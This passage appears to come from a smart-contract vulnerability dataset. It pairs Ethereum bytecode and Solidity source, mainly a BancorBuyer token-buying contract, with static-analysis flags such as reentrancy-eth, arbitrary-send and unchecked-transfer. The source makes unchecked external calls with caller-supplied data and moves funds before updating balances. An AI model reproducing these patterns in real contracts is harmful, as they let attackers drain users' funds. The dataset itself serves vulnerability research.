919061167f906001600160a01b0316610913565b6116899190611e10565b6116939190611e2f565b8111156116cd57600c54600954606491906116b6906001600160a01b0316610913565b6116c09190611e10565b6116ca9190611e2f565b90505b6116d681611786565b4780156116e6576116e64761174c565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061172f57506001600160a01b03841660009081526004602052604090205460ff165b15611738575060005b61174585858584866118fa565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610841573d6000803e3d6000fd5b6010805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117ca576117ca611d2a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611823573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118479190611d90565b8160018151811061185a5761185a611d2a565b6001600160a01b0392831660209182029290920101526007546118809130911684610fd8565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906118b9908590600090869030904290600401611e51565b600060405180830381600087803b1580156118d357600080fd5b505af11580156118e7573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611906838361191c565b905061191486868684611940565b505050505050565b60008083156119395782156119345750600a54611939565b50600b545b9392505050565b60008061194d8484611a1d565b6001600160a01b0388166000908152600260205260409020549193509150611976908590611d13565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546119a6908390611df8565b6001600160a01b0386166000908152600260205260409020556119c881611a51565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0d91815260200190565b60405180910390a3505050505050565b600080806064611a2d8587611e10565b611a379190611e2f565b90506000611a458287611d13565b96919550909350505050565b30600090815260026020526040902054611a6c908290611df8565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611aac57858101830151858201604001528201611a90565b81811115611abe576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461091057600080fd5b8035611af481611ad4565b919050565b60008060408385031215611b0c57600080fd5b8235611b1781611ad4565b946020939093013593505050565b60008060408385031215611b3857600080fd5b50508035926020909101359150565b600080600060608486031215611b5c57600080fd5b8335611b6781611ad4565b92506020840135611b7781611ad4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611bb157600080fd5b823567ffffffffffffffff80821115611bc957600080fd5b818501915085601f830112611bdd57600080fd5b813581811115611bef57611bef611b88565b8060051b604051601f19603f83011681018181108582111715611c1457611c14611b88565b604052918252848201925083810185019188831115611c3257600080fd5b938501935b82851015611c5757611c4885611ae9565b84529385019392850192611c37565b98975050505050505050565b600060208284031215611c7557600080fd5b813561193981611ad4565b600060208284031215611c9257600080fd5b5035919050565b801515811461091057600080fd5b600060208284031215611cb957600080fd5b813561193981611c99565b60008060408385031215611cd757600080fd5b8235611ce281611ad4565b91506020830135611cf281611ad4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611d2557611d25611cfd565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d5457611d54611cfd565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611da257600080fd5b815161193981611ad4565b600080600060608486031215611dc257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ded57600080fd5b815161193981611c99565b60008219821115611e0b57611e0b611cfd565b500190565b6000816000190483118215151615611e2a57611e2a611cfd565b500290565b600082611e4c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ea15784516001600160a01b031683529383019391830191600101611e7c565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220472a656d70747ce94fab4c2b20e3a006b240c2fbf2f075461cf53fb6f88b9f0d64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,471 |
0xba14b64a82cbf58622f2f38961352692384d4f62
|
pragma solidity ^0.4.24;
//pragma experimental ABIEncoderV2;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/registry/BancorBuyer.sol
//pragma experimental ABIEncoderV2;
contract IMultiToken {
function tokensCount() external view returns(uint16 count);
function tokens(uint256 i) public view returns(ERC20);
function weights(address t) public view returns(uint256);
function totalSupply() public view returns(uint256);
function bundle(address _to, uint256 _amount) public;
}
contract BancorBuyer {
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public tokenBalances; // [owner][token]
function sumWeightOfMultiToken(IMultiToken mtkn) public view returns(uint256 sumWeight) {
for (uint i = mtkn.tokensCount(); i > 0; i--) {
sumWeight += mtkn.weights(mtkn.tokens(i - 1));
}
}
function allBalances(address _account, address[] _tokens) public view returns(uint256[]) {
uint256[] memory tokenValues = new uint256[](_tokens.length);
for (uint i = 0; i < _tokens.length; i++) {
tokenValues[i] = tokenBalances[_account][_tokens[i]];
}
return tokenValues;
}
function deposit(address _beneficiary, address[] _tokens, uint256[] _tokenValues) payable external {
if (msg.value > 0) {
balances[_beneficiary] = balances[_beneficiary].add(msg.value);
}
for (uint i = 0; i < _tokens.length; i++) {
ERC20 token = ERC20(_tokens[i]);
uint256 tokenValue = _tokenValues[i];
uint256 balance = token.balanceOf(this);
token.transferFrom(msg.sender, this, tokenValue);
require(token.balanceOf(this) == balance.add(tokenValue));
tokenBalances[_beneficiary][token] = tokenBalances[_beneficiary][token].add(tokenValue);
}
}
function withdrawInternal(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) internal {
if (_value > 0) {
_to.transfer(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
for (uint i = 0; i < _tokens.length; i++) {
ERC20 token = ERC20(_tokens[i]);
uint256 tokenValue = _tokenValues[i];
uint256 tokenBalance = token.balanceOf(this);
token.transfer(_to, tokenValue);
require(token.balanceOf(this) == tokenBalance.sub(tokenValue));
tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenValue);
}
}
function withdraw(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) external {
withdrawInternal(_to, _value, _tokens, _tokenValues);
}
function withdrawAll(address _to, address[] _tokens) external {
uint256[] memory tokenValues = allBalances(msg.sender, _tokens);
withdrawInternal(_to, balances[msg.sender], _tokens, tokenValues);
}
// function approveAndCall(address _to, uint256 _value, bytes _data, address[] _tokens, uint256[] _tokenValues) payable external {
// uint256[] memory tempBalances = new uint256[](_tokens.length);
// for (uint i = 0; i < _tokens.length; i++) {
// ERC20 token = ERC20(_tokens[i]);
// uint256 tokenValue = _tokenValues[i];
// tempBalances[i] = token.balanceOf(this);
// token.approve(_to, tokenValue);
// }
// require(_to.call.value(_value)(_data));
// balances[msg.sender] = balances[msg.sender].add(msg.value).sub(_value);
// for (i = 0; i < _tokens.length; i++) {
// token = ERC20(_tokens[i]);
// tokenValue = _tokenValues[i];
// uint256 tokenSpent = tempBalances[i].sub(token.balanceOf(this));
// tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenSpent);
// token.approve(_to, 0);
// }
// }
function buyInternal(
ERC20 token,
address _exchange,
uint256 _value,
bytes _data
)
internal
{
require(
// 0xa9059cbb - transfer(address,uint256)
!(_data[0] == 0xa9 && _data[1] == 0x05 && _data[2] == 0x9c && _data[3] == 0xbb) &&
// 0x095ea7b3 - approve(address,uint256)
!(_data[0] == 0x09 && _data[1] == 0x5e && _data[2] == 0xa7 && _data[3] == 0xb3) &&
// 0x23b872dd - transferFrom(address,address,uint256)
!(_data[0] == 0x23 && _data[1] == 0xb8 && _data[2] == 0x72 && _data[3] == 0xdd),
"buyInternal: Do not try to call transfer, approve or transferFrom"
);
uint256 tokenBalance = token.balanceOf(this);
require(_exchange.call.value(_value)(_data));
balances[msg.sender] = balances[msg.sender].sub(_value);
tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token]
.add(token.balanceOf(this).sub(tokenBalance));
}
function mintInternal(
IMultiToken _mtkn,
uint256[] _notUsedValues
)
internal
{
uint256 totalSupply = _mtkn.totalSupply();
uint256 bestAmount = uint256(-1);
uint256 tokensCount = _mtkn.tokensCount();
for (uint i = 0; i < tokensCount; i++) {
ERC20 token = _mtkn.tokens(i);
// Approve XXX to mtkn
uint256 thisTokenBalance = tokenBalances[msg.sender][token];
uint256 mtknTokenBalance = token.balanceOf(_mtkn);
_notUsedValues[i] = token.balanceOf(this);
token.approve(_mtkn, thisTokenBalance);
uint256 amount = totalSupply.mul(thisTokenBalance).div(mtknTokenBalance);
if (amount < bestAmount) {
bestAmount = amount;
}
}
// Mint mtkn
_mtkn.bundle(msg.sender, bestAmount);
for (i = 0; i < tokensCount; i++) {
token = _mtkn.tokens(i);
token.approve(_mtkn, 0);
tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token]
.sub(_notUsedValues[i].sub(token.balanceOf(this)));
}
}
////////////////////////////////////////////////////////////////
function buy10(
address[] _tokens,
address[] _exchanges,
uint256[] _values,
bytes _data1,
bytes _data2,
bytes _data3,
bytes _data4,
bytes _data5,
bytes _data6,
bytes _data7,
bytes _data8,
bytes _data9,
bytes _data10
)
payable
public
{
balances[msg.sender] = balances[msg.sender].add(msg.value);
buyInternal(ERC20(_tokens[0]), _exchanges[0], _values[0], _data1);
if (_tokens.length == 1) {
return;
}
buyInternal(ERC20(_tokens[1]), _exchanges[1], _values[1], _data2);
if (_tokens.length == 2) {
return;
}
buyInternal(ERC20(_tokens[2]), _exchanges[2], _values[2], _data3);
if (_tokens.length == 3) {
return;
}
buyInternal(ERC20(_tokens[3]), _exchanges[3], _values[3], _data4);
if (_tokens.length == 4) {
return;
}
buyInternal(ERC20(_tokens[4]), _exchanges[4], _values[4], _data5);
if (_tokens.length == 5) {
return;
}
buyInternal(ERC20(_tokens[5]), _exchanges[5], _values[5], _data6);
if (_tokens.length == 6) {
return;
}
buyInternal(ERC20(_tokens[6]), _exchanges[6], _values[6], _data7);
if (_tokens.length == 7) {
return;
}
buyInternal(ERC20(_tokens[7]), _exchanges[7], _values[7], _data8);
if (_tokens.length == 8) {
return;
}
buyInternal(ERC20(_tokens[8]), _exchanges[8], _values[8], _data9);
if (_tokens.length == 9) {
return;
}
buyInternal(ERC20(_tokens[9]), _exchanges[9], _values[9], _data10);
}
////////////////////////////////////////////////////////////////
function buy10mint(
IMultiToken _mtkn,
address[] _tokens,
address[] _exchanges,
uint256[] _values,
bytes _data1,
bytes _data2,
bytes _data3,
bytes _data4,
bytes _data5,
bytes _data6,
bytes _data7,
bytes _data8,
bytes _data9,
bytes _data10
)
payable
public
{
buy10(_tokens, _exchanges, _values, _data1, _data2, _data3, _data4, _data5, _data6, _data7, _data8, _data9, _data10);
mintInternal(_mtkn, _values);
}
////////////////////////////////////////////////////////////////
function buyOne(
address _token,
address _exchange,
uint256 _value,
bytes _data
)
payable
public
{
balances[msg.sender] = balances[msg.sender].add(msg.value);
buyInternal(ERC20(_token), _exchange, _value, _data);
}
}
|
0x60806040526004361061008a5763ffffffff60e060020a60003504166318c1fc68811461008f57806327e235e3146100f357806343af53f2146101265780634dbf6c5a1461045a5780634f71473e14610481578063562fa0df146104ae57806366e8cd81146104da57806379459ac31461058d578063bd440ffb146108b3578063c4aa94a6146108d4575b600080fd5b604080516020601f6064356004818101359283018490048402850184019095528184526100f194600160a060020a0381358116956024803590921695604435953695608494019181908401838280828437509497506109119650505050505050565b005b3480156100ff57600080fd5b50610114600160a060020a0360043516610953565b60408051918252519081900360200190f35b6040805160206004602480358281013584810280870186019097528086526100f1968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506109659650505050505050565b34801561046657600080fd5b50610114600160a060020a0360043581169060243516610994565b34801561048d57600080fd5b506100f160048035600160a060020a031690602480359081019101356109b1565b6100f160048035600160a060020a03169060248035808201929081013591604435908101910135610a4a565b3480156104e657600080fd5b5060408051602060046024803582810135848102808701860190975280865261053d968435600160a060020a031696369660449591949091019291829185019084908082843750949750610cfb9650505050505050565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610579578181015183820152602001610561565b505050509050019250505060405180910390f35b604080516020600480358082013583810280860185019096528085526100f195369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610db89650505050505050565b3480156108bf57600080fd5b50610114600160a060020a03600435166111c7565b3480156108e057600080fd5b506100f160048035600160a060020a0316906024803591604435808301929082013591606435918201910135611350565b33600090815260208190526040902054610931903463ffffffff6113bb16565b3360009081526020819052604090205561094d848484846113ce565b50505050565b60006020819052908152604090205481565b61097a8d8d8d8d8d8d8d8d8d8d8d8d8d610db8565b6109848e8c61197c565b5050505050505050505050505050565b600160209081526000928352604080842090915290825290205481565b60606109ea3384848080602002602001604051908101604052809392919081815260200183836020028082843750610cfb945050505050565b905061094d8460008033600160a060020a0316600160a060020a031681526020019081526020016000205485858080602002602001604051908101604052809392919081815260200183836020028082843750899450611fff9350505050565b6000806000806000341115610a9c57600160a060020a038916600090815260208190526040902054610a82903463ffffffff6113bb16565b600160a060020a038a166000908152602081905260409020555b600093505b86841015610cf057878785818110610ab557fe5b90506020020135600160a060020a031692508585858181101515610ad557fe5b6040805160e060020a6370a082310281523060048201529051602092830294909401359550600160a060020a038716936370a082319350602480830193928290030181600087803b158015610b2957600080fd5b505af1158015610b3d573d6000803e3d6000fd5b505050506040513d6020811015610b5357600080fd5b5051604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018590529051919250600160a060020a038516916323b872dd916064808201926020929091908290030181600087803b158015610bc757600080fd5b505af1158015610bdb573d6000803e3d6000fd5b505050506040513d6020811015610bf157600080fd5b50610c049050818363ffffffff6113bb16565b6040805160e060020a6370a082310281523060048201529051600160a060020a038616916370a082319160248083019260209291908290030181600087803b158015610c4f57600080fd5b505af1158015610c63573d6000803e3d6000fd5b505050506040513d6020811015610c7957600080fd5b505114610c8557600080fd5b600160a060020a03808a16600090815260016020908152604080832093871683529290522054610cbb908363ffffffff6113bb16565b600160a060020a03808b1660009081526001602081815260408084209489168452939052919020919091559390930192610aa1565b505050505050505050565b60608060008351604051908082528060200260200182016040528015610d2b578160200160208202803883390190505b509150600090505b8351811015610db057600160a060020a03851660009081526001602052604081208551909190869084908110610d6557fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020548282815181101515610d9e57fe5b60209081029091010152600101610d33565b509392505050565b33600090815260208190526040902054610dd8903463ffffffff6113bb16565b336000908152602081905260408120919091558d51610e3d918f918110610dfb57fe5b906020019060200201518d6000815181101515610e1457fe5b906020019060200201518d6000815181101515610e2d57fe5b906020019060200201518d6113ce565b8c5160011415610e4c576111b8565b610ea08d6001815181101515610e5e57fe5b906020019060200201518d6001815181101515610e7757fe5b906020019060200201518d6001815181101515610e9057fe5b906020019060200201518c6113ce565b8c5160021415610eaf576111b8565b610f038d6002815181101515610ec157fe5b906020019060200201518d6002815181101515610eda57fe5b906020019060200201518d6002815181101515610ef357fe5b906020019060200201518b6113ce565b8c5160031415610f12576111b8565b610f668d6003815181101515610f2457fe5b906020019060200201518d6003815181101515610f3d57fe5b906020019060200201518d6003815181101515610f5657fe5b906020019060200201518a6113ce565b8c5160041415610f75576111b8565b610fc98d6004815181101515610f8757fe5b906020019060200201518d6004815181101515610fa057fe5b906020019060200201518d6004815181101515610fb957fe5b90602001906020020151896113ce565b8c5160051415610fd8576111b8565b61102c8d6005815181101515610fea57fe5b906020019060200201518d600581518110151561100357fe5b906020019060200201518d600581518110151561101c57fe5b90602001906020020151886113ce565b8c516006141561103b576111b8565b61108f8d600681518110151561104d57fe5b906020019060200201518d600681518110151561106657fe5b906020019060200201518d600681518110151561107f57fe5b90602001906020020151876113ce565b8c516007141561109e576111b8565b6110f28d60078151811015156110b057fe5b906020019060200201518d60078151811015156110c957fe5b906020019060200201518d60078151811015156110e257fe5b90602001906020020151866113ce565b8c5160081415611101576111b8565b6111558d600881518110151561111357fe5b906020019060200201518d600881518110151561112c57fe5b906020019060200201518d600881518110151561114557fe5b90602001906020020151856113ce565b8c5160091415611164576111b8565b6111b88d600981518110151561117657fe5b906020019060200201518d600981518110151561118f57fe5b906020019060200201518d60098151811015156111a857fe5b90602001906020020151846113ce565b50505050505050505050505050565b60008082600160a060020a031663a64ed8ba6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561120857600080fd5b505af115801561121c573d6000803e3d6000fd5b505050506040513d602081101561123257600080fd5b505161ffff1690505b600081111561134a5782600160a060020a031663a7cac84684600160a060020a0316634f64b2be600185036040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b15801561129f57600080fd5b505af11580156112b3573d6000803e3d6000fd5b505050506040513d60208110156112c957600080fd5b50516040805160e060020a63ffffffff8516028152600160a060020a0390921660048301525160248083019260209291908290030181600087803b15801561131057600080fd5b505af1158015611324573d6000803e3d6000fd5b505050506040513d602081101561133a57600080fd5b505191909101906000190161123b565b50919050565b6113b386868686808060200260200160405190810160405280939291908181526020018383602002808284375050604080516020808c0282810182019093528b82529095508b94508a935083925085019084908082843750611fff945050505050565b505050505050565b818101828110156113c857fe5b92915050565b60008160008151811015156113df57fe5b90602001015160f860020a900460f860020a02600160f860020a03191660a960f860020a02148015611442575081600181518110151561141b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916600560f860020a02145b801561147f575081600281518110151561145857fe5b90602001015160f860020a900460f860020a02600160f860020a031916609c60f860020a02145b80156114bc575081600381518110151561149557fe5b90602001015160f860020a900460f860020a02600160f860020a03191660bb60f860020a02145b1580156115b257508160008151811015156114d357fe5b90602001015160f860020a900460f860020a02600160f860020a031916600960f860020a02148015611536575081600181518110151561150f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916605e60f860020a02145b8015611573575081600281518110151561154c57fe5b90602001015160f860020a900460f860020a02600160f860020a03191660a760f860020a02145b80156115b0575081600381518110151561158957fe5b90602001015160f860020a900460f860020a02600160f860020a03191660b360f860020a02145b155b80156116a757508160008151811015156115c857fe5b90602001015160f860020a900460f860020a02600160f860020a031916602360f860020a0214801561162b575081600181518110151561160457fe5b90602001015160f860020a900460f860020a02600160f860020a03191660b860f860020a02145b8015611668575081600281518110151561164157fe5b90602001015160f860020a900460f860020a02600160f860020a031916607260f860020a02145b80156116a5575081600381518110151561167e57fe5b90602001015160f860020a900460f860020a02600160f860020a03191660dd60f860020a02145b155b151561176057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604160248201527f627579496e7465726e616c3a20446f206e6f742074727920746f2063616c6c2060448201527f7472616e736665722c20617070726f7665206f72207472616e7366657246726f60648201527f6d00000000000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038716916370a082319160248083019260209291908290030181600087803b1580156117ab57600080fd5b505af11580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b50516040518351919250600160a060020a03861691859185918190602084019080838360005b838110156118135781810151838201526020016117fb565b50505050905090810190601f1680156118405780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561186057600080fd5b33600090815260208190526040902054611880908463ffffffff6122c916565b3360009081526020818152604080832093909355825160e060020a6370a08231028152306004820152925161194b9361191b938693600160a060020a038c16936370a0823193602480820194918390030190829087803b1580156118e357600080fd5b505af11580156118f7573d6000803e3d6000fd5b505050506040513d602081101561190d57600080fd5b50519063ffffffff6122c916565b336000908152600160209081526040808320600160a060020a038b1684529091529020549063ffffffff6113bb16565b336000908152600160209081526040808320600160a060020a03999099168352979052959095209490945550505050565b60008060008060008060008089600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156119c657600080fd5b505af11580156119da573d6000803e3d6000fd5b505050506040513d60208110156119f057600080fd5b5051604080517fa64ed8ba00000000000000000000000000000000000000000000000000000000815290519199506000199850600160a060020a038c169163a64ed8ba916004808201926020929091908290030181600087803b158015611a5657600080fd5b505af1158015611a6a573d6000803e3d6000fd5b505050506040513d6020811015611a8057600080fd5b505161ffff169550600094505b85851015611d505789600160a060020a0316634f64b2be866040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015611ade57600080fd5b505af1158015611af2573d6000803e3d6000fd5b505050506040513d6020811015611b0857600080fd5b810190808051906020019092919050505093506001600033600160a060020a0316600160a060020a03168152602001908152602001600020600085600160a060020a0316600160a060020a0316815260200190815260200160002054925083600160a060020a03166370a082318b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015611bc157600080fd5b505af1158015611bd5573d6000803e3d6000fd5b505050506040513d6020811015611beb57600080fd5b50516040805160e060020a6370a082310281523060048201529051919350600160a060020a038616916370a08231916024808201926020929091908290030181600087803b158015611c3c57600080fd5b505af1158015611c50573d6000803e3d6000fd5b505050506040513d6020811015611c6657600080fd5b505189518a9087908110611c7657fe5b6020908102909101810191909152604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a038d811660048301526024820187905291519187169263095ea7b3926044808401938290030181600087803b158015611cea57600080fd5b505af1158015611cfe573d6000803e3d6000fd5b505050506040513d6020811015611d1457600080fd5b50611d37905082611d2b8a8663ffffffff6122db16565b9063ffffffff61230416565b905086811015611d45578096505b600190940193611a8d565b604080517feba3cdfe000000000000000000000000000000000000000000000000000000008152336004820152602481018990529051600160a060020a038c169163eba3cdfe91604480830192600092919082900301818387803b158015611db757600080fd5b505af1158015611dcb573d6000803e3d6000fd5b50505050600094505b85851015611ff35789600160a060020a0316634f64b2be866040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015611e2557600080fd5b505af1158015611e39573d6000803e3d6000fd5b505050506040513d6020811015611e4f57600080fd5b5051604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a038d81166004830152600060248301819052925193975087169263095ea7b392604480840193602093929083900390910190829087803b158015611ec257600080fd5b505af1158015611ed6573d6000803e3d6000fd5b505050506040513d6020811015611eec57600080fd5b50506040805160e060020a6370a082310281523060048201529051611fc191611f9191600160a060020a038816916370a082319160248083019260209291908290030181600087803b158015611f4157600080fd5b505af1158015611f55573d6000803e3d6000fd5b505050506040513d6020811015611f6b57600080fd5b50518b518c9089908110611f7b57fe5b602090810290910101519063ffffffff6122c916565b336000908152600160209081526040808320600160a060020a038a1684529091529020549063ffffffff6122c916565b336000908152600160208181526040808420600160a060020a038a168552909152909120919091559490940193611dd4565b50505050505050505050565b600080600080600087111561207657604051600160a060020a0389169088156108fc029089906000818181858888f19350505050158015612044573d6000803e3d6000fd5b5033600090815260208190526040902054612065908863ffffffff6122c916565b336000908152602081905260409020555b600093505b85518410156122bf57858481518110151561209257fe5b90602001906020020151925084848151811015156120ac57fe5b60209081029091018101516040805160e060020a6370a082310281523060048201529051919450600160a060020a038616926370a08231926024808401938290030181600087803b15801561210057600080fd5b505af1158015612114573d6000803e3d6000fd5b505050506040513d602081101561212a57600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038b811660048301526024820186905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b15801561219b57600080fd5b505af11580156121af573d6000803e3d6000fd5b505050506040513d60208110156121c557600080fd5b506121d89050818363ffffffff6122c916565b6040805160e060020a6370a082310281523060048201529051600160a060020a038616916370a082319160248083019260209291908290030181600087803b15801561222357600080fd5b505af1158015612237573d6000803e3d6000fd5b505050506040513d602081101561224d57600080fd5b50511461225957600080fd5b336000908152600160209081526040808320600160a060020a038716845290915290205461228d908363ffffffff6122c916565b336000908152600160208181526040808420600160a060020a038916855290915290912091909155939093019261207b565b5050505050505050565b6000828211156122d557fe5b50900390565b60008215156122ec575060006113c8565b508181028183828115156122fc57fe5b04146113c857fe5b6000818381151561231157fe5b0493925050505600a165627a7a72305820aca62899172bde3a55930a4159a5b6e0d8e423d81d6b4f85589b461f991eeac90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,472 |
0x92656230ce9f34c14e1332c84e4e47e6a6781fb1
|
pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly {size := extcodesize(addr)}
// solium-disable-line security/no-inline-assembly
return size > 0;
}
}
contract ERC721 {
// Required methods
